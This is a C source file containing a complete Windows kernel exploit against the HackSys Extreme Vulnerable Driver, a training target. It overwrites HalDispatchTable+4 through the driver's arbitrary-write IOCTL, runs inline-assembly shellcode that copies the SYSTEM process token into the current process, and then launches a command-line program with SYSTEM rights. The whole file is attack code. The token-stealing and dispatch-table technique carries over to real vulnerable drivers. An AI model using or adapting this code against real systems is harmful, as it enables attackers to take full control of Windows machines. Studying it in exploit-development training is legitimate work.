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| #include <stdio.h>
#include <Windows.h>
#define SystemModuleInformation 11
typedef NTSTATUS(NTAPI *kZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(NTAPI *kPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);
typedef NTSTATUS(NTAPI *wNtQueryIntervalProfile)(
IN DWORD ProfileSource,
OUT ULONG* Interval
);
typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
USHORT Id;
USHORT Rank;
USHORT w018;
USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _WHERE_AND_WHAT
{
PVOID Where;
PVOID What;
} WHERE_AND_WHAT, *PWHERE_AND_WHAT;
void GetSystemToken() {
__asm {
pushad; 保存寄存器
xor eax, eax; eax置零
mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax; 将本进程EPROCESS地址复制到ecx
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
popad; 恢复寄存器
}
}
void main(char* argc, char* argv[])
{
DWORD HalDispatchTable_Kernel;
HANDLE hDevice;
DWORD dwRet = 0;
DWORD Interval = 0;
char szNtName[256] = { 0 };
PVOID NtBase;
HMODULE hNtdll = LoadLibraryA("ntdll");
WHERE_AND_WHAT exploit;
if (hNtdll == NULL)
{
printf("[-] Load Ntdll fail!");
return;
}
kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (pZwQuerySystemInformation == NULL)
{
printf("[-] Can not found ZwQuerySystemInformation!");
return;
}
ULONG SystemInfoBufferSize;
pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
if (SystemInfoBufferSize == 0)
{
printf("[-] SystemInfoBufferSize is 0!");
}
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
printf("[+] LocalAlloc:0x%p\n", pSystemInfoBuffer);
if (pSystemInfoBuffer == 0)
{
printf("[-] LocalAlloc is fail!");
return;
}
int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
if (ret)
{
printf("[-] ZwQuerySystemInformation is fail!");
return;
}
_SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
printf("[+] Kernel Modle found %d\n", smi->ModulesCount);
memset(szNtName, 0, 256);
int i = 0;
while (i < smi->ModulesCount)
{
SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i);
if (strstr((char*)sm->Name, ".exe") && strstr((char*)sm->Name, "nt"))
{
NtBase = sm->ImageBaseAddress;
strncpy_s(szNtName, 256, strstr((char*)sm->Name, "nt"), _TRUNCATE);
break;
}
}
printf("[+] name:%s-0x%p\n", szNtName, NtBase);
HMODULE nt = LoadLibraryA(szNtName);
HalDispatchTable_Kernel = (DWORD)GetProcAddress(nt, "HalDispatchTable");
HalDispatchTable_Kernel = ((INT)NtBase + ((INT)HalDispatchTable_Kernel - (INT)nt));
printf("[+] HalDispatchTable Address in 0x%p\n", HalDispatchTable_Kernel);
PVOID AddressShellcode = GetSystemToken;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");
printf("[+] Second Point Shellcode Address 0x%p\n", &AddressShellcode);
printf("[+] HalDispatchTable+4 Address 0x%p\n", HalDispatchTable_Kernel + 4);
exploit.What = (PVOID)(HalDispatchTable_Kernel+4);
exploit.Where = &AddressShellcode;
DeviceIoControl(hDevice, 0x22200B, &exploit, sizeof(exploit), NULL, 0, &dwRet, 0);
wNtQueryIntervalProfile pNtQueryIntervalProfile = (wNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
if (pNtQueryIntervalProfile == NULL) {
printf("[-] Not Find NtQueryIntervalProfile");
return;
}
printf("[+] NtQueryIntervalProfile Address: 0x%p\n", pNtQueryIntervalProfile);
pNtQueryIntervalProfile(0x2, &Interval);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}
}
|
